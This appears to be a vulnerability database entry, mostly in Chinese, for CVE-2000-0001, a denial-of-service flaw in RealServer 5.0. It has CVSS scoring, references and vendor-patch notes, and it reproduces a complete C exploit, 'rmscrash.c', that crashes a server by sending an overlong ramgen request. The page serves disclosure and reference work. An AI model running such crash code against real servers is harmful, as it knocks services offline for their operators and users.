CVE-2000-0001
CVSS5.0
发布时间 :1999-12-23 00:00:00
修订时间 :2008-09-10 00:00:00
NMCOE    

[原文]RealMedia server allows remote attackers to cause a denial of service via a long ramgen request.


[CNNVD]RealServer 5.0 ramgen拒绝服务漏洞(CNNVD-199912-082)

        RealMedia服务器中存在漏洞,远程攻击者利用该漏洞通过一个长ramgen请求导致拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0001
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0001
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199912-082
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/888
(UNKNOWN)  BID  888

- 漏洞信息

RealServer 5.0 ramgen拒绝服务漏洞
中危 边界条件错误
1999-12-23 00:00:00 2006-01-05 00:00:00
远程※本地  
        RealMedia服务器中存在漏洞,远程攻击者利用该漏洞通过一个长ramgen请求导致拒绝服务。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.
        Real Networks have made it clear that there are no plans to provide a patch for RealServer 5.0, although the issue has been resolved in newer releases.

- 漏洞信息 (19687)

Real Networks Real Server 5.0 ramgen Denial of Service Vulnerability (EDBID:19687)
freebsd dos
1999-12-23 Verified
0 bow
N/A [点击下载]
source: http://www.securityfocus.com/bid/888/info

RealServer 5.0 can be crashed by sending an overly long (4082+ bytes) ramgen request. Regular functionality can be restored by restarting the RealServer software. 

/*
 *  rmscrash.c  - bow@bow.net
 *
 *  Crash a RealMedia 5.0 server by sending a very long ramgen request. 
 *
 *  Test on:
 *         $ pnserver -v
 *         Version:        5.0-rvserver-build-290
 *         Platform: FreeBSD-2.1.x
 *
 */

#include        <stdio.h>
#include        <stdlib.h>
#include        <sys/time.h>
#include        <sys/types.h>
#include        <unistd.h>

#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>

#define BUFLEN 4082

char    buf[BUFLEN+14];
int     sock;
struct  sockaddr_in sa;
struct  hostent *hp;

void main (int argc, char *argv[]) {
        int i, port;

        if (argc < 3) {
                printf("Usage: %s realserver port\n",argv[0]);
                exit(-1);
        }

        port = atoi(argv[2]);

        memset(buf,0x41,BUFLEN);
        memcpy(buf,"GET /ramgen/",12);
        memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);


        if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
                perror("gethostbyname()");
                exit(0);
        }

        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                perror("socket()");
                exit(0);
        }
        sa.sin_family=AF_INET;
        sa.sin_port=htons(port);
        memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
        if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
                perror("connect()");
                exit(0);
        }

        printf("Connected to %s. Sending data\n",argv[1]);
        write(sock,buf,strlen(buf));
        printf("Done.\n");

        close(sock);
        exit(0);
}

		

- 漏洞信息

1171
RealServer Long ramgen Request Remote DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

- 时间线

1999-12-22 Unknow
1999-12-22 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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